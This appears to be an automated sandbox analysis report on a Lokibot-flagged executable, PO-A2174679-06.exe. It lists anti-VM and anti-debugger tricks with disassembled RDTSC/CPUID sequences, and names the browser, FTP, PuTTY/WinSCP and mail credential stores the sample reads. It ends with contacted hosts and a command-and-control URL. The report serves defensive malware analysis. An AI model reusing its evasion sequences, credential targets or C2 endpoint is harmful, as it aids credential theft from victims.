Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process information set: NOGPFAULTERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Contains functionality to detect hardware virtualization (CPUID execution measurement)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC6F5E NtWriteVirtualMemory, 0_2_02BC6F5E
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC6F06 NtWriteVirtualMemory, 0_2_02BC6F06
Detected RDTSC dummy instruction sequence (likely for instruction hammering)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe RDTSC instruction interceptor: First address: 0000000002BC70A5 second address: 0000000002BC70A5 instructions:
Source: C:\Users\user\Desktop\PO-A2174679-06.exe RDTSC instruction interceptor: First address: 0000000002BC7263 second address: 0000000002BC7263 instructions:
Source: C:\Users\user\Desktop\PO-A2174679-06.exe RDTSC instruction interceptor: First address: 0000000002BC6D02 second address: 0000000002BC6D02 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F0FBC787E78h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d cmp dx, bx 0x00000020 add edi, edx 0x00000022 cmp ax, cx 0x00000025 dec dword ptr [ebp+000000F8h] 0x0000002b cmp dword ptr [ebp+000000F8h], 00000000h 0x00000032 jne 00007F0FBC787E55h 0x00000034 nop 0x00000035 call 00007F0FBC787EAAh 0x0000003a call 00007F0FBC787E88h 0x0000003f lfence 0x00000042 mov edx, dword ptr [7FFE0014h] 0x00000048 lfence 0x0000004b ret 0x0000004c mov esi, edx 0x0000004e pushad 0x0000004f rdtsc
Tries to detect Any.run
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: PO-A2174679-06.exe, PO-A2174679-06.exe, 0000000B.00000002.501095690.0000000000562000.00000040.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\PO-A2174679-06.exe RDTSC instruction interceptor: First address: 0000000002BC70A5 second address: 0000000002BC70A5 instructions:
Source: C:\Users\user\Desktop\PO-A2174679-06.exe RDTSC instruction interceptor: First address: 0000000002BC7263 second address: 0000000002BC7263 instructions:
Source: C:\Users\user\Desktop\PO-A2174679-06.exe RDTSC instruction interceptor: First address: 0000000002BC6D02 second address: 0000000002BC6D02 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F0FBC787E78h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d cmp dx, bx 0x00000020 add edi, edx 0x00000022 cmp ax, cx 0x00000025 dec dword ptr [ebp+000000F8h] 0x0000002b cmp dword ptr [ebp+000000F8h], 00000000h 0x00000032 jne 00007F0FBC787E55h 0x00000034 nop 0x00000035 call 00007F0FBC787EAAh 0x0000003a call 00007F0FBC787E88h 0x0000003f lfence 0x00000042 mov edx, dword ptr [7FFE0014h] 0x00000048 lfence 0x0000004b ret 0x0000004c mov esi, edx 0x0000004e pushad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\PO-A2174679-06.exe RDTSC instruction interceptor: First address: 0000000002BC6D22 second address: 0000000002BC6D22 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F0FBC870ADEh 0x0000001d popad 0x0000001e call 00007F0FBC87053Ah 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\PO-A2174679-06.exe RDTSC instruction interceptor: First address: 0000000000566D22 second address: 0000000000566D22 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F0FBC78853Eh 0x0000001d popad 0x0000001e call 00007F0FBC787F9Ah 0x00000023 lfence 0x00000026 rdtsc
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC0977 rdtsc 0_2_02BC0977
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Window / User API: threadDelayed 1628 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\PO-A2174679-06.exe TID: 6576 Thread sleep count: 1628 > 30 Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe TID: 4504 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe TID: 4504 Thread sleep time: -60000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Last function: Thread delayed
Sleep loop found (likely to delay execution)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Thread sleep count: Count: 1628 delay: -5 Jump to behavior
Source: PO-A2174679-06.exe, 0000000B.00000002.501778520.0000000000A67000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAWayer LightWeight Filter-0000
Source: PO-A2174679-06.exe, 0000000B.00000002.501746377.0000000000A27000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: PO-A2174679-06.exe, PO-A2174679-06.exe, 0000000B.00000002.501095690.0000000000562000.00000040.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

barindex
Contains functionality to hide a thread from the debugger
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC0699 NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,? 0_2_02BC0699
Hides threads from debuggers
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Thread information set: HideFromDebugger Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC0977 rdtsc 0_2_02BC0977
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC4291 NtSetInformationThread,LdrInitializeThunk, 0_2_02BC4291
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC72EF mov eax, dword ptr fs:[00000030h] 0_2_02BC72EF
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC641D mov eax, dword ptr fs:[00000030h] 0_2_02BC641D
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC7604 mov eax, dword ptr fs:[00000030h] 0_2_02BC7604
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC27A1 mov eax, dword ptr fs:[00000030h] 0_2_02BC27A1
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC35F2 mov eax, dword ptr fs:[00000030h] 0_2_02BC35F2
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC35EC mov eax, dword ptr fs:[00000030h] 0_2_02BC35EC
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC1F69 mov eax, dword ptr fs:[00000030h] 0_2_02BC1F69
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC6963 mov eax, dword ptr fs:[00000030h] 0_2_02BC6963
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC754F mov eax, dword ptr fs:[00000030h] 0_2_02BC754F
Enables debug privileges
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Process created: C:\Users\user\Desktop\PO-A2174679-06.exe 'C:\Users\user\Desktop\PO-A2174679-06.exe' Jump to behavior
Source: PO-A2174679-06.exe, 0000000B.00000002.502126875.0000000000FB0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: PO-A2174679-06.exe, 0000000B.00000002.502126875.0000000000FB0000.00000002.00000001.sdmp Binary or memory string: Progman
Source: PO-A2174679-06.exe, 0000000B.00000002.502126875.0000000000FB0000.00000002.00000001.sdmp Binary or memory string: SProgram Managerl
Source: PO-A2174679-06.exe, 0000000B.00000002.502126875.0000000000FB0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd,
Source: PO-A2174679-06.exe, 0000000B.00000002.502126875.0000000000FB0000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Code function: 0_2_02BC36C7 cpuid 0_2_02BC36C7
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Lokibot
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 0000000B.00000002.501855027.0000000000A83000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-A2174679-06.exe PID: 5424, type: MEMORY
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Users\user\Desktop\PO-A2174679-06.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior

Remote Access Functionality:

barindex
Yara detected Lokibot
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 0000000B.00000002.501855027.0000000000A83000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-A2174679-06.exe PID: 5424, type: MEMORY
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
192.185.78.145
unknown United States
46606 UNIFIEDLAYER-AS-1US true

Contacted Domains

Name IP Active
accessasia.com.hk 192.185.78.145 true
onedrive.live.com unknown unknown
hrf0ga.bn.files.1drv.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://accessasia.com.hk/ovation/five/fre.php true
  • Avira URL Cloud: safe
unknown